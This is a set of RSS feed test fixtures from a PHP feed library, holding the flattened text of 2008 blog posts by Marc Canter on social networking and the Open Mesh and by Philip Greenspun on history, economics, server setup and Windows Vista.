  • how many dbas does it take to check permissions on a sequence...(apparently 3) #
  • @elazar heheh #
  • i <3 last.fm #
    • ]]>     http://blog.phpdeveloper.org/?feed=rss2&p=96     Twitter Updates for 2008-04-22 http://blog.phpdeveloper.org/?p=95 http://blog.phpdeveloper.org/?p=95#comments Wed, 23 Apr 2008 03:59:59 +0000 enygma http://blog.phpdeveloper.org/?p=95
  • Happy Earth Day all (or for me and my wife, our anniversary - woo!) #
  • we now return to "damn nature, you're scary!" #
    • ]]>     http://blog.phpdeveloper.org/?feed=rss2&p=95     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blogs.it-0100198-rss.xml0000664000175000017500000012306212653701626024663 0ustar janjan Marc's Voice http://blog.broadbandmechanics.com Digital Lifestyle Aggregation - helping to establish open source infrastructure Tue, 22 Jul 2008 15:06:50 +0000 http://wordpress.org/?v=2.6 en Blogging with Wordpress 2.6 - thanks Matt! and community! http://blog.broadbandmechanics.com/2008/07/bloggingnow http://blog.broadbandmechanics.com/2008/07/bloggingnow#comments Tue, 22 Jul 2008 15:06:50 +0000 Marc Canter http://blog.broadbandmechanics.com/?p=4323 Facebook definitely improved their UI - more on that later.

    MySpace supports OpenID - the same week of Facebook’s f8 conference - gee what a coincidence.

    3,000 women

    Amazon IS providing 99.9% uptime, it’s just that pesky .1 that’s the problem.

    $20k a day?  Hmm - maybe I DO need to be talking ot Dave Ulevitch!

    Mixi is still rocking!

    What Loic should know is that FastCompany advertising on Techmeme is not about Robert, but someone named Ed Sussman.

    This sounds like a coolio show - with Evan (of Identi.ca) and Loic (of Sessmic). Steve Gillmor keeps cranking out the hot content.

    And the beat goes on

    Got my new Wordpress 2.6 up and running and for the first time - there’s a media library - where I can actually see my images from the past.  Here’s one of the old relics.  This was from a dinner we had at Max’s at the airport.  Note that Michael Arrington was nowhere as famous as he is today andneither was Jeff Clavier, Richard MacManus - and this groupie (Jennifer) - who was there (not for me) but for Mr. Arrington.  I also love the % of reduction controls!

    Its still not clear what Jeremy Zawodny will DO at Craigslist - but it’s better than the nothing - that we’ve been seeing from them - for the past 10 years. How ’bout APIs?  Does Craig own all that data?

    Bank Implode-o-Meter

    Edopter, PagesPlus,

    ]]>     http://blog.broadbandmechanics.com/2008/07/bloggingnow/feed     Hard at work on the Open Mesh book and Fence http://blog.broadbandmechanics.com/2008/07/hard-at-work-on-the-open-mesh-book-and-fence http://blog.broadbandmechanics.com/2008/07/hard-at-work-on-the-open-mesh-book-and-fence#comments Mon, 21 Jul 2008 00:47:28 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/hard-at-work-on-the-open-mesh-book-and-fence hard-at-work1.jpg

    I’ve now got enough in the can so that it’s time to start thinking about getting official versions of these ideas out there.

    By iterating on my fence and collecting feedback from folks, I’ve been able to start a ‘book’ of these ideas.

    Up to page 70.

    hard-at-work-2.jpg

    :-)

    ]]>     http://blog.broadbandmechanics.com/2008/07/hard-at-work-on-the-open-mesh-book-and-fence/feed     Friday July 18th, 2008 blogging http://blog.broadbandmechanics.com/2008/07/friday-july-18th-2008-blogging http://blog.broadbandmechanics.com/2008/07/friday-july-18th-2008-blogging#comments Fri, 18 Jul 2008 22:54:48 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/friday-july-18th-2008-blogging Twitter connects to Gnip - and Identi.ca connects to the Twitter API

    Kara Swisher sees the genius of CBS buying CNet - it’s called metamorphosis of Big Media.

    Walt Mossberg explains SnagFilms coolio concept and business model.  I’d say Hooman, Ted and Miles have a HIT!  Certainly better then the stumbling BrightCove.   I should introduce Ted to Mitchell Block.

    Breaking down what’s happening on the Social Web and Episode #2 - the One with the Pirate Emoticon.  Two new videos from theSocialWeb.tv boys.  Highly recommended.

    XBox books $426M in profit - first profit after 7 years.

    Meebo is interconnecting between all those social networks they’re embedding in

    Poor Silicon Valley - you mean they’ve been believing their own hype?  Meanwhile apparently Google has been purposefully selling fewer ads.

    Corporate social networks are a waste of time - especially if you don’t know what you’re doing and there are all sorts of false expectations from these corporations

    Amiando widgetizes ticketing

    Nicolodean adds social networking features to social gaming sites

    JS-Kit adding commenting to Evite

    Yokway,  Elemental Technologies, CoverItLive, Sweetcron, moopz,

    ]]>     http://blog.broadbandmechanics.com/2008/07/friday-july-18th-2008-blogging/feed     July 17th blogging ‘08 http://blog.broadbandmechanics.com/2008/07/july-17th-blogging-08 http://blog.broadbandmechanics.com/2008/07/july-17th-blogging-08#comments Thu, 17 Jul 2008 22:09:58 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/july-17th-blogging-08 I did tell you about “Open Mesh for Dummies - right?  Thanks Steve!

    Meebo is inserting itself into social networks - congrats dudes!

    Is Facebook ready to face the music?

    Poor Mark Pincus - he was bragging about how he didn’t need any funding for Zynga - and now he can’t find his next $10M   Whaaaaaaah!  I guess he wants ot pull a fast one on his investors, just like he did with Tribe.net.

    Now THIS is what I’m talking about. Fuji has launched a niche vertical social network around one of their cameras.

    Thank goodness they’re finally getting rid of Network pages on Facebook.  Worst feature of the system.

    Topix is rocking it - locally

    I wonder if Mike Butcher knows about Grey Area?

    13 social apps for the iPhone

    Lots ‘o Google Docs templates = coolio

    Ted + Clearspring + Documentaries = SnagFilm

    Well I guess $500k is better than nothing

    Vogue.tv,  CattleNetwork, Weplay, appsavvy, ZenDesk, GoGrid, TotSpot,

    ]]>     http://blog.broadbandmechanics.com/2008/07/july-17th-blogging-08/feed     Dummies guide to the Open Mesh http://blog.broadbandmechanics.com/2008/07/dummies-guide-to-the-open-mesh http://blog.broadbandmechanics.com/2008/07/dummies-guide-to-the-open-mesh#comments Thu, 17 Jul 2008 11:05:05 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/dummies-guide-to-the-open-mesh I just did a 1:30 hour long show with Steve Gillmor on my ideas and writings surrounding the open mesh.

    Steve argued with me, and ‘held my feet to the fire‘ on many of my ideas and assumptions regarding the open mesh.  I find this sort of interaction incredibly helpful as it’s important to get push back from your peers.  Most importantly Steve listened to what I had to say and the assumptions and foundations on which I operate to come up with these principles, areas of focus and perception of just what the open mesh is.

    From this conversation it should be clear just hw many of my ideas are ‘science fiction‘ (as Steve likes to put it), what suggestions are pragmatic designs and most importantly what’s here today already.  By viewing the world through the ‘open mesh’ sunglasses perspective one starts to see a world where we all can live together, and use BOTH Microsoft’s infrastructure, Google’s grid, Twitter’s backbone, XMPP’s transport layer, RSS, OpenSocial Ver5 APIs, OpenID, oAuth, Yahoo’s ID layer and Facebook’s ecosystem.

    Steve pointed me to his latest on TechCrunchIT where he “Back on  Track” where he eloquently spells out why Twitter is our infrastructure of the future.  But in true Steve style and fashion he also points out that Microsoft Live Mesh launched yesterday and that IT might well be the uber architecture infrastructure of our future.

    At which point I replied “Great! - we love them all - I just wanna make sure to make a few shekels for my children and wife” (I’m paraphrasing here.) :-) Baking monetization in - for all us small fry - is also part of the rap!

    So enjoy and here are some accompanying links - based upon nerdy you wanna get:

    A Reference Design for building the Open Mesh

    Progress Report on the Open Mesh - July ‘08

    How to Build the Open Mesh

    The slideshare ppt of the preso I did at Widget Expo in June

    and related blog posts:

    - My own Personal Knowldge Bases [1] and [2]

    - So where’s the Identi.ca of Gnip?

    - New Kinds of Infrastructure

    - Waiting for Facebook Connect

    - Imagine if we could connect different systems together?

    ]]>     http://blog.broadbandmechanics.com/2008/07/dummies-guide-to-the-open-mesh/feed     Afternoon blogging on Wed July 16th, 2008 http://blog.broadbandmechanics.com/2008/07/afternoon-blogging-on-wed-july-16th-2008 http://blog.broadbandmechanics.com/2008/07/afternoon-blogging-on-wed-july-16th-2008#comments Thu, 17 Jul 2008 01:01:04 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/afternoon-blogging-on-wed-july-16th-2008 Steve Gillmor thinks we’re “Back on Track” to realizing that Twitter “is the most important service in the next generation of computing”

    Building the Microsoft Mesh

    Dave Winer “All I can say is that Nik is right, it’s ridiculous, and people who believe in open systems who bet heavy on such a closed system are going to learn again why they love open systems”

    Om Malik points out something very important often missed by this community.  He posts on Yahoo’s real value, not as a search engine company, but as a media aggregation platform.  His own WebWorkerDaily was ‘BUZZED’ yesterday by a Yahoo ‘Digg-clone’ called Buzz.   It got him 200k hits!  Now THAT’s what Yahoo is all about!  I say “sell the search shit” and buy AOL’s content and become the greatest on-line content lay out there!

    Autonom.us - a new industry group

    Dave Morin and team have posted a video leading up to the F8 event next week. In typical fashion they say nothing, but at least we know WHO is saying nothing.  There will be a critical moment next week, as we sit there and they finally have to say how their dynamic privacy works. THEN we’ll know.

    NPR launches more persistent ubiquitous content

    Good luck Blaine Cook at the Brickhouse

    Dashboard for you life.  Let me see, who might be building that?  Making it available in source code form AND SaaS models.  Hmmmm, and it could spawn off any number of sister networks?  As dashboards.  Hmmmmm

    Google is starting to piss off the open software community.  Apparently they’re backing off of using XMPP for some proprietary solution.  Hmmmmm  Sounds like the ‘old Google’ to me.

    Would I pay for Live Video?   Hmmm - now who would I like ot look at in real-time?

    Looks like Loopt - got looped up.

    ActiveVideo is launched - congrats to Michael Taylor

    ]]>     http://blog.broadbandmechanics.com/2008/07/afternoon-blogging-on-wed-july-16th-2008/feed     Another post on Personal Knowledge Bases http://blog.broadbandmechanics.com/2008/07/another-post-on-personal-knowledge-bases http://blog.broadbandmechanics.com/2008/07/another-post-on-personal-knowledge-bases#comments Tue, 15 Jul 2008 23:55:13 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/another-post-on-personal-knowledge-bases ie-badge.gifI created a second post on Personal Knowledge Bases for a blog called ‘Internet Evolution‘.  The first one is here.

    They named the piece “Dawn of the PKB (Personal Knowledge Base)” = which is not my title FYI.

    But it’s a coolio piece - check it out…..

    This is the second post I’ve done for these folks

    ]]>     http://blog.broadbandmechanics.com/2008/07/another-post-on-personal-knowledge-bases/feed     Waiting for Facebook Connect http://blog.broadbandmechanics.com/2008/07/waiting-for-facebook-connect http://blog.broadbandmechanics.com/2008/07/waiting-for-facebook-connect#comments Tue, 15 Jul 2008 23:28:20 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/waiting-for-facebook-connect What am I waiting on?

    Being able to enable our customers to offer their customers the ability to automatically access their Facebook social graph and invite their friends into the social network we’re building for them.

    This is a demand and expectation from ALL our customers. We’re willing to jump through the hoops, respect the TOS and do whatever it takes - but we GOTTA have the ability to ’store’ the user’s profile data in their account on OUR system.

    Here’s what Facebook says they’re gonna cover on July 23rd at their F8 devconf:

    Integrating Facebook Connect into your Website
    Since 2006, Facebook Platform APIs have supported integration into your website to make your site social. In this session, we will walk through the new features that will be available with Facebook Connect. Learn how Facebook Connect can help you socialize and streamline your website using trusted authentication, real identity, friends access, and dynamic privacy.

    I just hope we can do what we gotta do.

    ]]>     http://blog.broadbandmechanics.com/2008/07/waiting-for-facebook-connect/feed     More Summer blogging - July 15th ‘08 http://blog.broadbandmechanics.com/2008/07/more-summer-blogging-july-15th-08 http://blog.broadbandmechanics.com/2008/07/more-summer-blogging-july-15th-08#comments Tue, 15 Jul 2008 23:19:08 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/more-summer-blogging-july-15th-08 Congrats to TechCrunch on putting APIs into CrunchBase!  Right on!

    Jon Udell is proving to be an amazing hire for Microsoft!  Turning Internet feeds into TV feeds

    Twitter is starting to talk about a business model which charges commercial interests on using the network.

    John Borthwick is becoming a player.  Its nice to see some of the ex-AOLers doing well.

     

    Mashable Summer Tour party tonight.  I’m actually gonna make it to this one.

    Anyone wanna guess when Pandora starts running ads?  I say two months from now.

    Kickapps continues to spend it’s VC money on widgets - after doing a deal with Clearspring, now they’ve done a deal with Userplane.  Two of my favorite companies.  DISCLOSURE: we did some work for KickApps when they started.

    Can’t wait for the breakup video

    Can you say ‘crisp and clean’ CNet?

    192 (commute) (photo on right)

    Originally uploaded by heather

    Look what Loic did on his birthday

    Things are changing for the better at the Beeb

    XBox experiences

     

    Niche vertical networks need niche content

    Cassandra,  ScrnShots, Delver, Mobifriends, BubbleComment, Moodle, OurStage

    ]]>     http://blog.broadbandmechanics.com/2008/07/more-summer-blogging-july-15th-08/feed     It’s mid-summer blogging time http://blog.broadbandmechanics.com/2008/07/its-mid-summer-blogging-time http://blog.broadbandmechanics.com/2008/07/its-mid-summer-blogging-time#comments Mon, 14 Jul 2008 15:27:33 +0000 Marc Canter http://blog.broadbandmechanics.com/2008/07/its-mid-summer-blogging-time  We had a great weekend, doing nothing but hanging at home and swimming all day long. Ah California.

    This excellent analysis of Plurk’s rise and fall proves a point I tried to make about Ning.  As 100,000’s of worthless networks get created on Ning, there is valuable data in there about what it takes to build a successful, niche social network.  How many Ning networks really gain traction?  1 in 1,000? 1 in 10,000?  Plurk has shown that those who REALLY want to talk (ala Plurk) can - and the Twitter downtime helped bring  allot of tire kickers to Plurk, and some have actually hung around.  So now imagine that petrie dish on Ning.  What does it take to stick around?  Is it about featurss, people, timing, - what? The rise of vertical niche networks is our future and Ning is a great viewfinder into that future - if only they would release their real stats - not just brag about the total # of networks - which is totally worthless.  IMHO

    Great News!  Evan Prodromou is working hard at getting messages to work ACROSS Identi.ca instantiations!   Now we’re meshing!

    AOL implement’s Vidoop’s OpenID - congrats to Scott et al!

    I agree with Dare - we are often asked “does your platform scale?”  I mean - what do they want me to say “No - we have desigend our platform NOT to scale!” - What a stupid question!

    David Ulevitch (of OpenDNS and EveryDNS) has some ideas on how to help enable the open mesh.

    Lets be very clear here - Michael Arrington will take the money an RUN!  But he won’t agree to the same terms as Jason “boo hoo Mahalo sucks and I’m leaving” Calacanis.  And Jason should realize why there are people who hate.  It may actually have to do with him.  And BTW Jason “they booed Dylan at Newport” - you my friend, are no Dylan.  :-)

    MySpace Data Availability in iGoogle

    Just got invited into Eventful - via some ’social media’ kind of functionality. They have a feature  called ‘Demand’ (which has fans request bands in certain areas.)  Events are a  key kind of micro-content and Eventful is leading the way.   The Groups are fairly worthless and you can’t import from Facebook or MySpace - this is typically what happens when “just about every” adds social media features.  How can they POSSIBLY keep up with the Jones?  And it’s only going to get worse.

    Dare Obasanjo used the ’shit’ word - and he’s right.  Giving stuff away is not a business model - so don’t be fooled by Twitter.   Their model is to be sold.  Same with Ning.

    TwitterSpy = ‘track’ ????

    $15M for hosting Ruby on Rails apps.

    Facebook’s Cassandra project (their 2nd open source) is inspired by Google’s BigTable - thanks Dare!

    Advisory capital requires cash - which isn’t always there and it’s hard work - which often doesn’t pay off

    Here’s a quiz - what did Jimi Hendrix have to do with Stephen Stills?  What Stills album did Hendrix play on?

    Synergy in the making - CBS + CNet - = timely, appropriate, relevant mainstream media.  What a concept!

    How much does Gnip cost?

    I wouldn’t worry too much about impressing Legg Mason and Bill Miller. Afterall - these are the foilks who gave $100M to Marc Andreessen to never make any money and wait out the nuclear winter with Ning.

    Flickr architecture

    I agree - Happy Birthday to Woody Guthrie - is the party at Alice’s Restaurant?  We need more of Woody’s machines nowadays.

    Been using Blurb and their EXCELLENT BookSmart app to create my “How to build the Open Mesh” book.

    Order your drinks on a screen. Nolan Bushnell - hmmmm - now that’s a past life.

    Even Google apps go down - just one word I have for that!  Redundancy

    John Battelle knows how to live

    The early days at YouTube - while J.D. Lasica was calling us up, treating us like employees (we build ourmedia.org - for free - and were never even thanked for it), they were rocking at YouTube - getting paid.

    Metcalfe’s Law is a drag when ti comes to conversations

    Scour, August, ZKOUT, Streetline, AtomKeep,

    ]]>     http://blog.broadbandmechanics.com/2008/07/its-mid-summer-blogging-time/feed     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-blogs.law.harvard.edu-philg-xml-rss.xml0000664000175000017500000011424112653701626030312 0ustar janjan Philip Greenspun's Weblog http://blogs.law.harvard.edu/philg A posting every day; an interesting idea every three months... Tue, 22 Jul 2008 14:01:49 +0000 http://wordpress.org/?v=wordpress-mu-1.2.1 en http://creativecommons.org/licenses/by-sa/3.0/ Augustus, Marriage, Age/Wisdom, and Taxes http://blogs.law.harvard.edu/philg/2008/07/22/augustus-marriage-agewisdom-and-taxes/ http://blogs.law.harvard.edu/philg/2008/07/22/augustus-marriage-agewisdom-and-taxes/#comments Tue, 22 Jul 2008 14:01:49 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/22/augustus-marriage-agewisdom-and-taxes/ I’m reading Everitt’s new biography of Augustus on my Kindle. Relations between men and women haven’t changed too much in 2000 years:

    “I couldn’t bear the way she nagged at me,” [Octavian] explained [his reasons for divorcing his first wife].

    Politics were a bit different.

    The voting system was weighted in favor of property owners in the belief that they would act with care because they had the most to lose if any mistakes were made. …

    [To finance a war] An unprecendentedly severe income tax was levied (25 percent of an individual’s annual earnings) and riots immediately broke out.

    War in the Middle East was more profitable than it has been for the U.S.

    Possession of Egypt solved Octavian’s financial problems once and for all. When in due course the kingdom’s bullion reserves were transported to Rom, the standard rate of interest immediately dropped from 12 percent to 4 percent.

    [Keep in mind that Egypt had not yet been invaded and conquered by Arabs. It was part of the Hellenistic Empire created by Alexander the Great. Cleopatra and the rest of the upper class in Egypt in the First Century B.C. were of Greek ancestry and spoke Greek (according to Everitt many Egyptian aristocrats did not bother to learn to speak the Egyptian language). The descendants of Cleopatra and her circle are today’s Coptic Christians.]

    The minimum age in 81 B.C. for a quaestor was 30.  The minimum age for a consul was 42.  Octavian was considered physically weak and prone to illness.  He died after 76 years of delicate health.

    Newlywed women were carried over the threshold in Rome, to avoid the bad omen of tripping. The Romans had freedom of speech, even after Octavian became Augustus. They even had Little Caesar, though this was a reference to Cleopatra’s son by Julius Caesar rather than a pizza delivery restaurant.

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/22/augustus-marriage-agewisdom-and-taxes/feed/ http://creativecommons.org/licenses/by-sa/3.0/     Parallels between our current economic times and the Great Depression http://blogs.law.harvard.edu/philg/2008/07/15/parallels-between-our-current-economic-times-and-the-great-depression/ http://blogs.law.harvard.edu/philg/2008/07/15/parallels-between-our-current-economic-times-and-the-great-depression/#comments Tue, 15 Jul 2008 18:27:35 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/15/parallels-between-our-current-economic-times-and-the-great-depression/ In reading the Forgotten Man, one is struck by some parallels between our current economic times and the Great Depression of the 1930s.

    Then: The Great Depression was preceded by the stock market crash of 1929. Prior to the crash people were borrowing money to buy stocks sure that stocks could only go up in value. Margin requirements were relaxed so that a buyer need only put 10% down.

    Now: Prior to the housing crash Americans were borrowing money to buy houses sure that houses could only go up in value. Margin requirements were relaxed so that a buyer need not put anything down (the 100% mortage).

    Then: “the New Deal had created thirty agencies, nearly all close to the executive, leaving ‘the average citizen bewildered’ … In the period of [one year under FDR], 10,000 pages of law had been created, a figure that one had to compare to 2,735 pages that constituted federal statute law. In twelve months, the NRA had generated more paper than the entire legislative output of the federal government since 1789.” Schlaes points out that a lot of business investment was deferred because nobody knew what the legal or tax environment was going to be.

    Now: Federal and state legislatures constantly change and add new laws and regulations.

    Then: “[in November 1929] Hoover pushed to expand an existing public buildings program by the healthy sum of $423 million on the theory that the spending would boost the economy”

    Now: Government payrolls nationwide are expanding, with an ever greater percentage of Americans employed by federal, state, or local government. This comes on top of a huge expansion after September 11, 2001, when we began devoting a larger fraction of our labor force to security and many of those folks are government employees. Governments at all levels continue with massive building programs.

    Then: “Roosevelt himself saw that while [Social Security’s] revenues might cover its costs now, the numbers from the actuaries suggested that there would not be enough money for old-age pensions for future generations.” Social Security was explained thusly: “You and your employer will each pay three cents on each dollar you earn, up to $3,000 a year. [That amount] is the most you will ever have to pay.”

    Now: The impending bankruptcy of Social Security is a feature in newspapers every few months. Taxes are up to 14 percent of wages.

    Then: Both Hoover and Roosevelt devoted a lot of attention to keeping food prices high. At a time when Americans were genuinely hungry, and some starving, Roosevelt introduced the new idea of paying farmers not to grow food. This was a boon to owners of farm land. It impoverished tenant farmers and other laborers who could not earn a living unless the land was actually farmed.

    Now: Congress recently passed the most expensive agriculture bill in American history. At a time when people worldwide are struggling to pay for food, we pay farmers not to grow food and/or encourage them to turn food into SUV fuel. The government strives to keep food prices high.

    Then: “Hoover’s humanitarian policy sent a signal nationwide: do not lower wages. In the end, businesses had to choose between lowering wages and shutting down. Often, they shut down.” Albert Wiggin of the Chase bank said “It is not true that high wages make for prosperity. Instead, prosperity makes high wages.”

    Now: Congress has recently passed several minimum wage increases, one of which goes into effect on July 24, 2008. http://en.wikipedia.org/wiki/Minimum_wage notes that “minimum wage laws have been shown to cause large amounts of unemployment, especially among low-income, unskilled, black, and teenaged populations”. Barack Obama promises to “raise the minimum wage and index it to inflation to make sure that full-time workers can earn a living wage that allows them to raise their families and pay for basic needs such as food, transportation, and housing.”

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/15/parallels-between-our-current-economic-times-and-the-great-depression/feed/ http://creativecommons.org/licenses/by-sa/3.0/     The Forgotten Man, Ted Kennedy, and Warren Buffett http://blogs.law.harvard.edu/philg/2008/07/15/the-forgotten-man-ted-kennedy-and-warren-buffett/ http://blogs.law.harvard.edu/philg/2008/07/15/the-forgotten-man-ted-kennedy-and-warren-buffett/#comments Tue, 15 Jul 2008 16:43:08 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/15/the-forgotten-man-ted-kennedy-and-warren-buffett/ One aspect of The Forgotten Man is a discussion of the power phrase “the forgotten man” in American politics. Originally the term meant the average schmoe who is forced to pay taxes because a couple of do-gooders decide to do some good for the poor or other unfortunates. The “forgotten man” is not the tramp, who is right in front of us getting some food or cash, but the laborer or shopkeeper who had to pay for the food or handout. FDR used the term to promote his New Deal but now the unemployed guy was the “forgotten man.”

    I thought about this the other day when a friend’s wife was praising Ted Kennedy as a paragon of charity and good will towards America’s young and unfortunate. It occurred to me that voting to spend other folks’ tax dollars is not necessarily an indication of personal virtue. A politician in a liberal state such as Massachusetts might do that merely in order to get votes and not out of any sympathy for the common man. As Ted Kennedy has spent virtually all of his personal wealth on personal consumption of mansions, private jets, women, booze, etc., any help that he has provided to Americans has come at the expense of the “forgotten man” paying taxes. Ted’s own contributions to charity have been minimal (source).

    Let’s compare to Warren Buffett. Via his work at Berkshire Hathaway, Buffett has created tens of thousands of jobs. He has been responsible for a huge amount of new taxes, certainly in the tens of billions of dollars, paid by successful businesses, investors cashing in capital gains, and employees who took all of the jobs created at his companies. Buffett has spent a negligible portion of his $60+ billion in personal wealth on personal consumption, giving almost all of it away to charity.

    Perhaps Buffet is “the forgotten man”. He creates jobs by the thousands. He pays taxes by the $billions. He consumes very modestly considering his means. Yet Buffett is not considered a hero here in Massachusetts, at least.

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/15/the-forgotten-man-ted-kennedy-and-warren-buffett/feed/ http://creativecommons.org/licenses/by-sa/3.0/     Rebuilding the server without VMware and with ZFS? http://blogs.law.harvard.edu/philg/2008/07/15/rebuilding-the-server-without-vmware-and-with-zfs/ http://blogs.law.harvard.edu/philg/2008/07/15/rebuilding-the-server-without-vmware-and-with-zfs/#comments Tue, 15 Jul 2008 14:06:28 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/15/rebuilding-the-server-without-vmware-and-with-zfs/ Thanks to the many helpful responses to my posting about VMware, we have concluded that the combination of Linux software mirroring and VMware is never going to work. There doesn’t seem to be any way to get this server to work without wiping and reinstalling. Here is my proposed solution, to be mercilessly critiqued by the experts among the readers.

    1. wipe Disk 1 and install ZFS and a fresh operating system (CentOS) on Disk 1, creating one group per development service
    2. reboot the machine from Disk 1 and install most things by copying from Disk 2 (maybe a fresh install of Oracle from the tar file
    3. wipe Disk 2 and tell ZFS that Disk 2 can now be used as a mirror for Disk 1 (I could be wrong, but I think this is something that ZFS is known to do, i.e., adding a mirrored disk dynamically)

    We will not run VMware on the rebuilt machine, but rely on standard Unix user/group permissions. This eliminates a lot of moving parts (the one wizard to whom we have access has no experience with VMware, which by itself is probably a good reason to chuck it). Instead of whatever ad hoc bag-on-the-side mirroring has been kludged into Linux by volunteers we will run ZFS, a system designed from the start to include mirroring as a fundamental part of the file system.

    Risks:

    a) does Oracle run well over top of ZFS? (understand that the write performance of ZFS can be poor but we are barely doing any updates as this is primarily a development server; the production servers it will run are read-only)

    b) can we truly add a mirror after ZFS has been up and running and in use?

    What do you guys think of this idea?

    Note that there are a few goals on which we cannot compromise: (a) the server must be able to survive the failure of a disk without any human intervention, (b) the server must run Oracle and AOLserver to support some legacy code, and (c) the server must support a couple of simple read-only production services.

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/15/rebuilding-the-server-without-vmware-and-with-zfs/feed/ http://creativecommons.org/licenses/by-sa/3.0/     The Fannie Mae debacle: a simple explanation http://blogs.law.harvard.edu/philg/2008/07/12/the-fannie-mae-debacle-a-simple-explanation/ http://blogs.law.harvard.edu/philg/2008/07/12/the-fannie-mae-debacle-a-simple-explanation/#comments Sat, 12 Jul 2008 15:59:38 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/12/the-fannie-mae-debacle-a-simple-explanation/ From Patrick Giagnocavo: http://billburnham.blogs.com/burnhamsbeat/2008/07/fannie-maes-gol.html

    This is a explanation of the Fannie Mae debacle that makes sense.  It is very similar to the recent posting here in this blog:  what happens when you pick a number for management bonuses and then let management work that number.

    The Burnham article does not dwell on the role of management bonuses too much, only says that the managers were trying to increase book profit.  Fannie Mae has had well-publicized problems in the past ten years stemming from accounting fraud.  These led to substantial restatements of earnings.  (reference)  The incentive to engage in fraud was higher pay for managers (reference).

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/12/the-fannie-mae-debacle-a-simple-explanation/feed/ http://creativecommons.org/licenses/by-sa/3.0/     Black Unemployment: the effect of 80 years of government intervention http://blogs.law.harvard.edu/philg/2008/07/10/black-unemployment-the-effect-of-80-years-of-government-intervention/ http://blogs.law.harvard.edu/philg/2008/07/10/black-unemployment-the-effect-of-80-years-of-government-intervention/#comments Fri, 11 Jul 2008 03:24:49 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/10/black-unemployment-the-effect-of-80-years-of-government-intervention/ I’ve started The Forgotten Man, an economic history of the Great Depression.  Much in the book was news to me.  I’ll kick off my weblog coverage of this work with one quote:  “Data from the 1930 census would show black unemployment nationally standing slightly below white unemployment.”  (i.e., in 1930 a greater percentage of black Americans held jobs than white Americans)

    After FDR’s New Deal and Lyndon Johnson’s Great Society and all of the other Big Government efforts over the past 80 years to fight inner city poverty and discrimination against blacks…  the black unemployment rate is roughly double the white unemployment rate.  During the same period, the Federal Government share of the economy, as a percentage of GDP, has grown from roughly 2 percent to roughly 20 percent.

    [http://www.bls.gov/opub/cwc/cm20030124ar03p1.htm offers some historical unemployment data.  In 1930, the year under discussion, the rate was 8.9 percent.  During the Calvin Coolidge years (1920s), the rate was 3.3 percent.  Note that these numbers would be much lower given modern measurement techniques that exclude large numbers of potential workers from the labor force.  The ballooning of the unemployed during the Great Depression was an anomaly that will be discussed in a future post about the rest of the Forgotten Man.]

    ]]>     http://blogs.law.harvard.edu/philg/2008/07/10/black-unemployment-the-effect-of-80-years-of-government-intervention/feed/ http://creativecommons.org/licenses/by-sa/3.0/     A year with Windows Vista http://blogs.law.harvard.edu/philg/2008/07/08/a-year-with-windows-vista/ http://blogs.law.harvard.edu/philg/2008/07/08/a-year-with-windows-vista/#comments Tue, 08 Jul 2008 17:49:56 +0000 philg http://blogs.law.harvard.edu/philg/2008/07/08/a-year-with-windows-vista/ The $650 13″ screen Toshiba laptop that I purchased a year ago was running slowly with multiple browser windows open. I poked around using the (excellent) performance tools included with Windows Vista and found that the machine was page-faulting like crazy. Windows Vista by itself took up 650 MB of RAM and browser windows running gmail, Acrobat, Flash, etc. were chewing up the rest of its 1 GB. I spent $45 at Amazon on two new DIMMs to bring the machine up to its maximum of 2 GB. and thought it would be a good time to reflect on one year of experience with Windows Vista.

    The worst part of the machine is the keyboard, which works if you type with just the right touch but otherwise will drop characters. The second worst part is some software that Toshiba larded onto it. When you roll the mouse up to the top of the screen a bunch of pull-down menus appear that seem to be related to function keys. These are hard to get rid of and conflict with the Windows user interface. I think that the solution is to click right on the desktop and disable anything that says “hot keys”. An annoyance is that the fan kicks itself on and off loudly, making it seem that the computer is laboring mightily.

    Hardware failures: none, despite cheap plastic lightweight construction.

    Networking: Windows often puts up a dialog box saying “Windows needs your permission to continue”, e.g., when accepting a wireless connection at a hotel. This on a machine that has only one user account, which is configured with no password. On the other hand, the machine is often able to get a connection, e.g., from an 802.11N base station with WPA security, when expert Linux and Macintosh laptop owners are unable to connect.

    I have installed the following software on the machine:

    • an open-source ssh client
    • Firefox
    • Rhapsody streaming music
    • Netflix streaming video
    • AOL Instant Messenger
    • Google Earth
    • Java
    • iTunes (I admit to owning an iPod)
    • Real Player
    • OpenVPN (virtual private network to get into a cluster)
    • Picasa (free Google tool for converting camera RAW photos to JPEG)
    • various Adobe products, including Acrobat and Photoshop

    There have been no conflicts or incompatibilities with the operating system and no calls to tech support for the OS or any of the apps. I have not done any manual updates or system administration until today’s 5-minute RAM upgrade. I disabled all virus protection and firewalls when the machine was new and yet there have been no viruses of which I am aware.

    Things that would add a lot of value to this product: better keyboard, fan-free cooling design.

    Changing the operating system to something other than Vista would have saved no time and enabled no additional capabilities.

    Vista hasn’t proved too scary or complex for someone like me who had a bit of Windows XP experience (though I’ve never programmed or administered XP), but for the average person a mobile phone that can be used as a home computer would make a lot more sense.

    [If anyone wants the old RAM, two sticks of 512 MB DDR2, please send email to philg@mit.edu with your mailing address. This is a $20 value but can be yours absolutely free… ** UPDATE: these were claimed very quickly by a starving graduate student in Pittsburgh **]

